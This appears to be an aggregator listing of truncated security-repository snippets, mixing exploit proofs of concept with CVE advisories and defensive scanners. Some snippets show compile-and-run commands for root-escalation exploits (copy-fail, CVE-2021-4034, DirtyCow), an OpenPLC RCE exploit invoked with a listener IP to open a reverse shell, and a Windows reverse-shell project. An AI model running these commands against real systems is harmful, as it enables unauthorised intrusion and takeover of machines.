UBUNTU-CVE-2026-53939

OpenIDC/cjose is a C library implementing the Javascript Object Signin...

copy-fail-CVE-2026-31431-C

copy-fail-CVE-2026-31431-C Verified on ubuntu 18.04,ubuntu 20.04,ubuntu 22.04,kali 2024,kali 2025,kali 2026 root@kitploit: gcc -o exploit exploit.c -lz && chmod +x exploit && ./exploit Verified on ubuntu 25.04 arm64 root@kitploit: gcc -o exploit exploitaarch64.c -lz && chmod +x exploit && ./explo...

CVE-2026-20169

IoT-FND Overview Features Network Discovery The scanner checks a defined IP range and looks for devices exposing the expected management service. Example checks: IP range enumeration TCP port availability testing Service discovery Basic connection validation Windows Native Implementation Built...

joern

Joern Query Database "Joern-Scan" This is the central query database for the open-source code analysis platform Joern. It has two purposes: It provides the batteries required to turn Joern into a ready-to-run code scanning tool. Its queries serve as examples useful for those looking to write thei...

CVE-2021-4034

CVE-2021-4034 root@kitploit: sudo apt install golang-go sudo apt install gccgo-go root@kitploit: grep PRETTY /etc/os-release id gcc cve-2021-4034-poc.c -o cve-2021-4034-poc ./cve-2021-4034-poc...

Weggli_rules_SSTIC2023

Here is a curated list of weggli queries You can read them and use them one by one, or launch them by batch: Usage: root@kitploit: $ bash dangerousfunctions.qry code.c $ bash mallocoverflow.qry -e cc sourcedir/ There is threee categories: 1. dangerous functions: such as strcpy, system, etc.. 2...

CVE-2026-73073

A flaw was found in Vim, an open-source command-line text editor. An attacker could craft a malicious tags file that, when processed by Vim's C omni-completion feature, leads to insufficient escaping of input. This vulnerability allows for the execution of arbitrary Ex commands and, subsequently,...

sigcorr

SigCorr Passive Cross-Protocol Attack Detection for Mobile Core Networks SigCorr is the first open-source tool to detect cross-protocol attack chains spanning SS7/MAP, Diameter S6a, and GTPv2-C through unified subscriber identity correlation. Features Cross-protocol correlation — Links SS7/MAP,...

RLSA-2026:64800 Moderate: glib2 security update

GLib provides the core application building blocks for libraries and applications written in C. It provides the core object system used in GNOME, the main loop implementation, and a large set of utility functions for strings and common data structures. Security Fixes: xdgmime: heap-based buffer...

DirtyCow

DirtyCow - 漏洞利用 以下代码利用了一个已知漏洞 Dirty COW CVE-2016-5195 来提升权限并获得 root 访问权限。 运行前，请在 main.c 中取消对应平台的 sc 的注释。 编译： gcc main.c -o dirtycow -lpthread...

CVE-2022-34753-EXPLOIT

CVE-2022-34753 - OS Command Injection in SpaceLogic C-Bus Home Controller CVE-2022-34753 is a critical security vulnerability classified under CWE-78, indicating an "Improper Neutralization of Special Elements used in an OS Command" commonly referred to as 'OS Command Injection'. This vulnerabili...

SNP-Assignment

SNP-Assignment Exploit work Privilege Escalation CVE-2017-1000112 as the privilege escalation is the mile stone of an attakers view,i try to do a little research on loval privilege escalation which is the basic step of whole privilege escalation unit. while im reading some articles 2016 and 2017...

fuzzing

libfuzzer-workshop Materials of "Modern fuzzing of C/C++ Projects" workshop. The first version of the workshop had been presented at ZeroNights'16 security conference. Disclaimer This workshop was originally developed in 2016. As of today 2021 and beyond, the practical side of the workshop might ...

CVE-2021-31630

OpenPLC WebServer v3 - 认证 RCE CVE-2021-31630 此漏洞利用基于 Exploit-DB 上由 Fellipe Oliveira 制作的漏洞利用。 首先，进行身份认证 上传恶意 C 文件 编译它 启动 PLC（发起反向Shell） 停止 PLC（无需运行，反向Shell已发起） root@kitploit: └─ python3 customexploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4...

CVE-2023-21823

CVE-2023-21823 Windows反向Shell 该仓库包含用于Windows操作系统的反向Shell的C代码。反向Shell允许使用命令行远程控制系统，提供在受感染机器上执行命令的能力。 重要说明 将此代码用于非法目的或在未经系统所有者许可的情况下使用是违法的，并且违背道德原则。此代码仅用于教育和研究目的。 构建 要构建该项目，您需要一个C编译器，例如MinGW或Microsoft Visual Studio。 MinGW 1. 如果您还没有MinGW，请先安装。 2. 打开命令提示符并导航到包含源代码的目录。 3. 运行以下命令构建项目： root@kitploit: gc...

copy-fail-CVE-2026-31431

Uso Compila estáticamente para poder usarlo en cualquier entorno Linux sin necesidad de Python ni librerías adicionales. root@kitploit: gcc -o exploit exploit.c -lz -static ./exploit O ejecuta el script de Python root@kitploit: python3 exploit.py...

cve-2019-1096-poc

cve-2019-1096-poc Source: https://cpr-zero.checkpoint.com/vulns/cprid-2131/ https://cpr-zero.checkpoint.com/assets/attachments/cprid-2131/poc.c...

c-cpp_CVE-2018-17229

This repository does not have a README...

CVE-2026-23744

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE Unauthenticated remote code execution PoC for CVE-2026-23744. MCPJam Inspector 1.4.2 and earlier expose functionality through /api/mcp/connect that can launch an attacker-controlled MCP server command without authentication. For authorized...

cve-2021-4034

cve-2021-4034 Easy to use shell implementation of CVE-2021-4034 that was released yesterday. The original C code was sourced from https://github.com/arthepsy/CVE-2021-4034...